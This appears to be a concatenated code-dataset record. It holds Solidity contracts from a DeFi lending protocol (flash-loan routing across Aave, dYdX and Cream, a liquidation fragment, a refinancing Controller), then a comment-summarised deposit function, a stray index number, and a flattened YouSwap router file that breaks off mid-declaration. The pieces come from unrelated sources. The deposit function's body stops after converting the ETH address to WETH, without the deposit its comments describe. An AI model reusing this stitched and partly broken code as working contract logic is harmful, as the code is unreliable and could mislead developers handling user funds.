executeFlashBatchLiquidation" */ function _burnMultiLoop( address[] memory _userAddrs, uint256[] memory _usrsBals, IVault _vault, IFujiERC1155 _f1155, IVaultExt.VaultAssets memory _vAssets ) internal { uint256 bonusPerUser; uint256 collateralInPlayPerUser; for (uint256 i = 0; i < _userAddrs.length; i += 2) { if (_userAddrs[i] != address(0)) { bonusPerUser = _vault.getLiquidationBonusFor(_usrsBals[i + 1], true); collateralInPlayPerUser = _getCollateralInPlay( _vAssets.borrowAsset, _usrsBals[i + 1].add(bonusPerUser) ); _f1155.burn(_userAddrs[i], _vAssets.collateralID, collateralInPlayPerUser); } } } // Administrative functions /** * @dev Set Factors "a" and "b" for a Struct Factor flashcloseF * For flashCloseF; should be > 1, a/b * @param _newFactorA: A number * @param _newFactorB: A number */ function setFlashCloseFee(uint64 _newFactorA, uint64 _newFactorB) external isAuthorized { flashCloseF.a = _newFactorA; flashCloseF.b = _newFactorB; } /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external isAuthorized { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Changes the Swapper contract address * @param _newSwapper: address of new swapper contract */ function setSwapper(address _newSwapper) external isAuthorized { swapper = IUniswapV2Router02(_newSwapper); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12 <0.8.0; pragma experimental ABIEncoderV2; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { UniERC20 } from "../Libraries/LibUniERC20.sol"; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { IFujiAdmin } from "../IFujiAdmin.sol"; import { Errors } from "../Libraries/Errors.sol"; import { ILendingPool, IFlashLoanReceiver } from "./AaveFlashLoans.sol"; import { Actions, Account, DyDxFlashloanBase, ICallee, ISoloMargin } from "./DyDxFlashLoans.sol"; import { ICTokenFlashloan, ICFlashloanReceiver } from "./CreamFlashLoans.sol"; import { FlashLoan } from "./LibFlashLoan.sol"; import { IVault } from "../Vaults/IVault.sol"; interface IFliquidator { function executeFlashClose( address _userAddr, address _vault, uint256 _amount, uint256 _flashloanfee ) external; function executeFlashBatchLiquidation( address[] calldata _userAddrs, uint256[] calldata _usrsBals, address _liquidatorAddr, address _vault, uint256 _amount, uint256 _flashloanFee ) external; } interface IFujiMappings { function addressMapping(address) external view returns (address); } contract Flasher is DyDxFlashloanBase, IFlashLoanReceiver, ICFlashloanReceiver, ICallee, Ownable { using SafeMath for uint256; using UniERC20 for IERC20; IFujiAdmin private _fujiAdmin; address private immutable _aaveLendingPool = 0x7d2768dE32b0b80b7a3454c06BdAc94A69DDc7A9; address private immutable _dydxSoloMargin = 0x1E0447b19BB6EcFdAe1e4AE1694b0C3659614e4e; IFujiMappings private immutable _crMappings = IFujiMappings(0x03BD587Fe413D59A20F32Fc75f31bDE1dD1CD6c9); receive() external payable {} modifier isAuthorized() { require( msg.sender == _fujiAdmin.getController() || msg.sender == _fujiAdmin.getFliquidator() || msg.sender == owner(), Errors.VL_NOT_AUTHORIZED ); _; } /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) public onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Routing Function for Flashloan Provider * @param info: struct information for flashLoan * @param _flashnum: integer identifier of flashloan provider */ function initiateFlashloan(FlashLoan.Info calldata info, uint8 _flashnum) external isAuthorized { if (_flashnum == 0) { _initiateAaveFlashLoan(info); } else if (_flashnum == 1) { _initiateDyDxFlashLoan(info); } else if (_flashnum == 2) { _initiateCreamFlashLoan(info); } } // ===================== DyDx FlashLoan =================================== /** * @dev Initiates a DyDx flashloan. * @param info: data to be passed between functions executing flashloan logic */ function _initiateDyDxFlashLoan(FlashLoan.Info calldata info) internal { ISoloMargin solo = ISoloMargin(_dydxSoloMargin); // Get marketId from token address uint256 marketId = _getMarketIdFromTokenAddress(solo, info.asset); // 1. Withdraw $ // 2. Call callFunction(...) // 3. Deposit back $ Actions.ActionArgs[] memory operations = new Actions.ActionArgs[](3); operations[0] = _getWithdrawAction(marketId, info.amount); // Encode FlashLoan.Info for callFunction operations[1] = _getCallAction(abi.encode(info)); // add fee of 2 wei operations[2] = _getDepositAction(marketId, info.amount.add(2)); Account.Info[] memory accountInfos = new Account.Info[](1); accountInfos[0] = _getAccountInfo(address(this)); solo.operate(accountInfos, operations); } /** * @dev Executes DyDx Flashloan, this operation is required * and called by Solo when sending loaned amount * @param sender: Not used * @param account: Not used */ function callFunction( address sender, Account.Info calldata account, bytes calldata data ) external override { require(msg.sender == _dydxSoloMargin && sender == address(this), Errors.VL_NOT_AUTHORIZED); account; FlashLoan.Info memory info = abi.decode(data, (FlashLoan.Info)); //Estimate flashloan payback + premium fee of 2 wei, uint256 amountOwing = info.amount.add(2); // Transfer to Vault the flashloan Amount IERC20(info.asset).uniTransfer(payable(info.vault), info.amount); if (info.callType == FlashLoan.CallType.Switch) { IVault(info.vault).executeSwitch(info.newProvider, info.amount, 2); } else if (info.callType == FlashLoan.CallType.Close) { IFliquidator(info.fliquidator).executeFlashClose( info.userAddrs[0], info.vault, info.amount, 2 ); } else { IFliquidator(info.fliquidator).executeFlashBatchLiquidation( info.userAddrs, info.userBalances, info.userliquidator, info.vault, info.amount, 2 ); } //Approve DYDXSolo to spend to repay flashloan IERC20(info.asset).approve(_dydxSoloMargin, amountOwing); } // ===================== Aave FlashLoan =================================== /** * @dev Initiates an Aave flashloan. * @param info: data to be passed between functions executing flashloan logic */ function _initiateAaveFlashLoan(FlashLoan.Info calldata info) internal { //Initialize Instance of Aave Lending Pool ILendingPool aaveLp = ILendingPool(_aaveLendingPool); //Passing arguments to construct Aave flashloan -limited to 1 asset type for now. address receiverAddress = address(this); address[] memory assets = new address[](1); assets[0] = address(info.asset); uint256[] memory amounts = new uint256[](1); amounts[0] = info.amount; // 0 = no debt, 1 = stable, 2 = variable uint256[] memory modes = new uint256[](1); //modes[0] = 0; //address onBehalfOf = address(this); //bytes memory params = abi.encode(info); //uint16 referralCode = 0; //Aave Flashloan initiated. aaveLp.flashLoan(receiverAddress, assets, amounts, modes, address(this), abi.encode(info), 0); } /** * @dev Executes Aave Flashloan, this operation is required * and called by Aaveflashloan when sending loaned amount */ function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external override returns (bool) { require(msg.sender == _aaveLendingPool && initiator == address(this), Errors.VL_NOT_AUTHORIZED); FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info)); //Estimate flashloan payback + premium fee, uint256 amountOwing = amounts[0].add(premiums[0]); // Transfer to the vault ERC20 IERC20(assets[0]).uniTransfer(payable(info.vault), amounts[0]); if (info.callType == FlashLoan.CallType.Switch) { IVault(info.vault).executeSwitch(info.newProvider, amounts[0], premiums[0]); } else if (info.callType == FlashLoan.CallType.Close) { IFliquidator(info.fliquidator).executeFlashClose( info.userAddrs[0], info.vault, amounts[0], premiums[0] ); } else { IFliquidator(info.fliquidator).executeFlashBatchLiquidation( info.userAddrs, info.userBalances, info.userliquidator, info.vault, amounts[0], premiums[0] ); } //Approve aaveLP to spend to repay flashloan IERC20(assets[0]).uniApprove(payable(_aaveLendingPool), amountOwing); return true; } // ===================== CreamFinance FlashLoan =================================== /** * @dev Initiates an CreamFinance flashloan. * @param info: data to be passed between functions executing flashloan logic */ function _initiateCreamFlashLoan(FlashLoan.Info calldata info) internal { // Get crToken Address for Flashloan Call address crToken = _crMappings.addressMapping(info.asset); // Prepara data for flashloan execution bytes memory params = abi.encode(info); // Initialize Instance of Cream crLendingContract ICTokenFlashloan(crToken).flashLoan(address(this), info.amount, params); } /** * @dev Executes CreamFinance Flashloan, this operation is required * and called by CreamFinanceflashloan when sending loaned amount */ function executeOperation( address sender, address underlying, uint256 amount, uint256 fee, bytes calldata params ) external override { // Check Msg. Sender is crToken Lending Contract address crToken = _crMappings.addressMapping(underlying); require(msg.sender == crToken && address(this) == sender, Errors.VL_NOT_AUTHORIZED); require(IERC20(underlying).balanceOf(address(this)) >= amount, Errors.VL_FLASHLOAN_FAILED); FlashLoan.Info memory info = abi.decode(params, (FlashLoan.Info)); // Estimate flashloan payback + premium fee, uint256 amountOwing = amount.add(fee); // Transfer to the vault ERC20 IERC20(underlying).uniTransfer(payable(info.vault), amount); // Do task according to CallType if (info.callType == FlashLoan.CallType.Switch) { IVault(info.vault).executeSwitch(info.newProvider, amount, fee); } else if (info.callType == FlashLoan.CallType.Close) { IFliquidator(info.fliquidator).executeFlashClose(info.userAddrs[0], info.vault, amount, fee); } else { IFliquidator(info.fliquidator).executeFlashBatchLiquidation( info.userAddrs, info.userBalances, info.userliquidator, info.vault, amount, fee ); } // Transfer flashloan + fee back to crToken Lending Contract IERC20(underlying).uniTransfer(payable(crToken), amountOwing); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; library FlashLoan { /** * @dev Used to determine which vault's function to call post-flashloan: * - Switch for executeSwitch(...) * - Close for executeFlashClose(...) * - Liquidate for executeFlashLiquidation(...) * - BatchLiquidate for executeFlashBatchLiquidation(...) */ enum CallType { Switch, Close, BatchLiquidate } /** * @dev Struct of params to be passed between functions executing flashloan logic * @param asset: Address of asset to be borrowed with flashloan * @param amount: Amount of asset to be borrowed with flashloan * @param vault: Vault's address on which the flashloan logic to be executed * @param newProvider: New provider's address. Used when callType is Switch * @param userAddrs: User's address array Used when callType is BatchLiquidate * @param userBals: Array of user's balances, Used when callType is BatchLiquidate * @param userliquidator: The user's address who is performing liquidation. Used when callType is Liquidate * @param fliquidator: Fujis Liquidator's address. */ struct Info { CallType callType; address asset; uint256 amount; address vault; address newProvider; address[] userAddrs; uint256[] userBalances; address userliquidator; address fliquidator; } } // SPDX-License-Identifier: MIT pragma solidity ^0.6.12; import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import { SafeERC20 } from "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; library LibUniversalERC20 { using SafeERC20 for IERC20; IERC20 private constant _ETH_ADDRESS = IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE); IERC20 private constant _ZERO_ADDRESS = IERC20(0); function isETH(IERC20 token) internal pure returns (bool) { return (token == _ZERO_ADDRESS || token == _ETH_ADDRESS); } function univBalanceOf(IERC20 token, address account) internal view returns (uint256) { if (isETH(token)) { return account.balance; } else { return token.balanceOf(account); } } function univTransfer( IERC20 token, address payable to, uint256 amount ) internal { if (amount > 0) { if (isETH(token)) { (bool sent, ) = to.call{ value: amount }(""); require(sent, "Failed to send Ether"); } else { token.safeTransfer(to, amount); } } } function univApprove( IERC20 token, address to, uint256 amount ) internal { require(!isETH(token), "Approve called on ETH"); if (amount == 0) { token.safeApprove(to, 0); } else { uint256 allowance = token.allowance(address(this), to); if (allowance < amount) { if (allowance > 0) { token.safeApprove(to, 0); } token.safeApprove(to, amount); } } } } pragma solidity >=0.6.2; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; interface IFlashLoanReceiver { function executeOperation( address[] calldata assets, uint256[] calldata amounts, uint256[] calldata premiums, address initiator, bytes calldata params ) external returns (bool); } interface ILendingPool { function flashLoan( address receiverAddress, address[] calldata assets, uint256[] calldata amounts, uint256[] calldata modes, address onBehalfOf, bytes calldata params, uint16 referralCode ) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; pragma experimental ABIEncoderV2; library Account { enum Status { Normal, Liquid, Vapor } struct Info { address owner; // The address that owns the account uint256 number; // A nonce that allows a single address to control many accounts } } library Actions { enum ActionType { Deposit, // supply tokens Withdraw, // borrow tokens Transfer, // transfer balance between accounts Buy, // buy an amount of some token (publicly) Sell, // sell an amount of some token (publicly) Trade, // trade tokens against another account Liquidate, // liquidate an undercollateralized or expiring account Vaporize, // use excess tokens to zero-out a completely negative account Call // send arbitrary data to an address } struct ActionArgs { ActionType actionType; uint256 accountId; Types.AssetAmount amount; uint256 primaryMarketId; uint256 secondaryMarketId; address otherAddress; uint256 otherAccountId; bytes data; } } library Types { enum AssetDenomination { Wei, // the amount is denominated in wei Par // the amount is denominated in par } enum AssetReference { Delta, // the amount is given as a delta from the current value Target // the amount is given as an exact number to end up at } struct AssetAmount { bool sign; // true if positive AssetDenomination denomination; AssetReference ref; uint256 value; } } /** * @title ICallee * @author dYdX * * Interface that Callees for Solo must implement in order to ingest data. */ interface ICallee { /** * Allows users to send this contract arbitrary data. * * @param sender The msg.sender to Solo * @param accountInfo The account from which the data is being sent * @param data Arbitrary data given by the sender */ function callFunction( address sender, Account.Info memory accountInfo, bytes memory data ) external; } interface ISoloMargin { function getNumMarkets() external view returns (uint256); function getMarketTokenAddress(uint256 marketId) external view returns (address); function operate(Account.Info[] memory accounts, Actions.ActionArgs[] memory actions) external; } contract DyDxFlashloanBase { // -- Internal Helper functions -- // function _getMarketIdFromTokenAddress(ISoloMargin solo, address token) internal view returns (uint256) { uint256 numMarkets = solo.getNumMarkets(); address curToken; for (uint256 i = 0; i < numMarkets; i++) { curToken = solo.getMarketTokenAddress(i); if (curToken == token) { return i; } } revert("No marketId found"); } function _getAccountInfo(address receiver) internal pure returns (Account.Info memory) { return Account.Info({ owner: receiver, number: 1 }); } function _getWithdrawAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Withdraw, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } function _getCallAction(bytes memory data) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Call, accountId: 0, amount: Types.AssetAmount({ sign: false, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: 0 }), primaryMarketId: 0, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: data }); } function _getDepositAction(uint256 marketId, uint256 amount) internal view returns (Actions.ActionArgs memory) { return Actions.ActionArgs({ actionType: Actions.ActionType.Deposit, accountId: 0, amount: Types.AssetAmount({ sign: true, denomination: Types.AssetDenomination.Wei, ref: Types.AssetReference.Delta, value: amount }), primaryMarketId: marketId, secondaryMarketId: 0, otherAddress: address(this), otherAccountId: 0, data: "" }); } } // SPDX-License-Identifier: MIT pragma solidity >=0.4.25 <0.7.5; interface ICFlashloanReceiver { function executeOperation( address sender, address underlying, uint256 amount, uint256 fee, bytes calldata params ) external; } interface ICTokenFlashloan { function flashLoan( address receiver, uint256 amount, bytes calldata params ) external; } pragma solidity >=0.6.2; interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } // SPDX-License-Identifier: MIT pragma solidity >=0.6.12; pragma experimental ABIEncoderV2; import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; import { Ownable } from "@openzeppelin/contracts/access/Ownable.sol"; import { IVault } from "./Vaults/IVault.sol"; import { IProvider } from "./Providers/IProvider.sol"; import { Flasher } from "./Flashloans/Flasher.sol"; import { FlashLoan } from "./Flashloans/LibFlashLoan.sol"; import { IFujiAdmin } from "./IFujiAdmin.sol"; import { Errors } from "./Libraries/Errors.sol"; interface IVaultExt is IVault { //Asset Struct struct VaultAssets { address collateralAsset; address borrowAsset; uint64 collateralID; uint64 borrowID; } function vAssets() external view returns (VaultAssets memory); } contract Controller is Ownable { using SafeMath for uint256; IFujiAdmin private _fujiAdmin; modifier isValidVault(address _vaultAddr) { require(_fujiAdmin.validVault(_vaultAddr), "Invalid vault!"); _; } /** * @dev Sets the fujiAdmin Address * @param _newFujiAdmin: FujiAdmin Contract Address */ function setFujiAdmin(address _newFujiAdmin) external onlyOwner { _fujiAdmin = IFujiAdmin(_newFujiAdmin); } /** * @dev Performs a forced refinancing routine * @param _vaultAddr: fuji Vault address * @param _newProvider: new provider address * @param _ratioA: ratio to determine how much of debtposition to move * @param _ratioB: _ratioA/_ratioB <= 1, and > 0 * @param _flashNum: integer identifier of flashloan provider */ function doRefinancing( address _vaultAddr, address _newProvider, uint256 _ratioA, uint256 _ratioB, uint8 _flashNum ) external isValidVault(_vaultAddr) onlyOwner { IVault vault = IVault(_vaultAddr); IVaultExt.VaultAssets memory vAssets = IVaultExt(_vaultAddr).vAssets(); vault.updateF1155Balances(); // Check Vault borrowbalance and apply ratio (consider compound or not) uint256 debtPosition = IProvider(vault.activeProvider()).getBorrowBalanceOf(vAssets.borrowAsset, _vaultAddr); uint256 applyRatiodebtPosition = debtPosition.mul(_ratioA).div(_ratioB); // Check Ratio Input and Vault Balance at ActiveProvider require( debtPosition >= applyRatiodebtPosition && applyRatiodebtPosition > 0, Errors.RF_INVALID_RATIO_VALUES ); //Initiate Flash Loan Struct FlashLoan.Info memory info = FlashLoan.Info({ callType: FlashLoan.CallType.Switch, asset: vAssets.borrowAsset, amount: applyRatiodebtPosition, vault: _vaultAddr, newProvider: _newProvider, userAddrs: new address[](0), userBalances: new uint256[](0), userliquidator: address(0), fliquidator: address(0) }); Flasher(payable(_fujiAdmin.getFlasher())).initiateFlashloan(info, _flashNum); IVault(_vaultAddr).setActiveProvider(_newProvider); } }
Deposit ETH/ERC20_Token. _asset: token address to deposit. (For ETH: 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE) _amount: token amount to deposit./Get cyToken address from mappingEnter and/or ensure collateral market is enacted Transform ETH to WETH
function deposit(address _asset, uint256 _amount) external payable override { address cyTokenAddr = IFujiMappings(_getMappingAddr()).addressMapping(_asset); _enterCollatMarket(cyTokenAddr); if (_isETH(_asset)) { _asset = address(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2); } }
1,311,614
// File: localhost/contracts/interfaces/ISwapMining.sol pragma solidity >=0.5.0; interface ISwapMining { function swap(address account, address input, address output, uint256 amount) external returns (bool); } // File: localhost/contracts/interfaces/IWETH.sol pragma solidity >=0.5.0; interface IWETH { function deposit() external payable; function transfer(address to, uint value) external returns (bool); function withdraw(uint) external; } // File: localhost/contracts/interfaces/IERC20.sol pragma solidity >=0.5.0; interface IERC20 { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external view returns (string memory); function symbol() external view returns (string memory); function decimals() external view returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); } // File: localhost/contracts/libraries/SafeMath.sol pragma solidity =0.6.6; // a library for performing overflow-safe math, courtesy of DappHub (https://github.com/dapphub/ds-math) library SafeMath { function add(uint x, uint y) internal pure returns (uint z) { require((z = x + y) >= x, 'ds-math-add-overflow'); } function sub(uint x, uint y) internal pure returns (uint z) { require((z = x - y) <= x, 'ds-math-sub-underflow'); } function mul(uint x, uint y) internal pure returns (uint z) { require(y == 0 || (z = x * y) / y == x, 'ds-math-mul-overflow'); } } // File: localhost/contracts/interfaces/IYouSwapPair.sol pragma solidity >=0.5.0; interface IYouSwapPair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // File: localhost/contracts/libraries/YouSwapLibrary.sol pragma solidity >=0.5.0; library YouSwapLibrary { using SafeMath for uint; // returns sorted token addresses, used to handle return values from pairs sorted in this order function sortTokens(address tokenA, address tokenB) internal pure returns (address token0, address token1) { require(tokenA != tokenB, 'YouSwapLibrary: IDENTICAL_ADDRESSES'); (token0, token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); require(token0 != address(0), 'YouSwapLibrary: ZERO_ADDRESS'); } // calculates the CREATE2 address for a pair without making any external calls function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = sortTokens(tokenA, tokenB); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'8919347964f406fcc7e9a98fd3e05e8ba3e0270039e1e056121a8bffd0f2789e' // init code hash )))); } // fetches and sorts the reserves for a pair function getReserves(address factory, address tokenA, address tokenB) internal view returns (uint reserveA, uint reserveB) { (address token0,) = sortTokens(tokenA, tokenB); (uint reserve0, uint reserve1,) = IYouSwapPair(pairFor(factory, tokenA, tokenB)).getReserves(); (reserveA, reserveB) = tokenA == token0 ? (reserve0, reserve1) : (reserve1, reserve0); } // given some amount of an asset and pair reserves, returns an equivalent amount of the other asset function quote(uint amountA, uint reserveA, uint reserveB) internal pure returns (uint amountB) { require(amountA > 0, 'YouSwapLibrary: INSUFFICIENT_AMOUNT'); require(reserveA > 0 && reserveB > 0, 'YouSwapLibrary: INSUFFICIENT_LIQUIDITY'); amountB = amountA.mul(reserveB) / reserveA; } // given an input amount of an asset and pair reserves, returns the maximum output amount of the other asset function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) internal pure returns (uint amountOut) { require(amountIn > 0, 'YouSwapLibrary: INSUFFICIENT_INPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'YouSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint amountInWithFee = amountIn.mul(997); uint numerator = amountInWithFee.mul(reserveOut); uint denominator = reserveIn.mul(1000).add(amountInWithFee); amountOut = numerator / denominator; } // given an output amount of an asset and pair reserves, returns a required input amount of the other asset function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) internal pure returns (uint amountIn) { require(amountOut > 0, 'YouSwapLibrary: INSUFFICIENT_OUTPUT_AMOUNT'); require(reserveIn > 0 && reserveOut > 0, 'YouSwapLibrary: INSUFFICIENT_LIQUIDITY'); uint numerator = reserveIn.mul(amountOut).mul(1000); uint denominator = reserveOut.sub(amountOut).mul(997); amountIn = (numerator / denominator).add(1); } // performs chained getAmountOut calculations on any number of pairs function getAmountsOut(address factory, uint amountIn, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'YouSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[0] = amountIn; for (uint i; i < path.length - 1; i++) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i], path[i + 1]); amounts[i + 1] = getAmountOut(amounts[i], reserveIn, reserveOut); } } // performs chained getAmountIn calculations on any number of pairs function getAmountsIn(address factory, uint amountOut, address[] memory path) internal view returns (uint[] memory amounts) { require(path.length >= 2, 'YouSwapLibrary: INVALID_PATH'); amounts = new uint[](path.length); amounts[amounts.length - 1] = amountOut; for (uint i = path.length - 1; i > 0; i--) { (uint reserveIn, uint reserveOut) = getReserves(factory, path[i - 1], path[i]); amounts[i - 1] = getAmountIn(amounts[i], reserveIn, reserveOut); } } } // File: localhost/contracts/interfaces/IYouSwapRouter.sol pragma solidity >=0.6.2; interface IYouSwapRouter { function factory() external pure returns (address); function WETH() external pure returns (address); function swapMining() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function 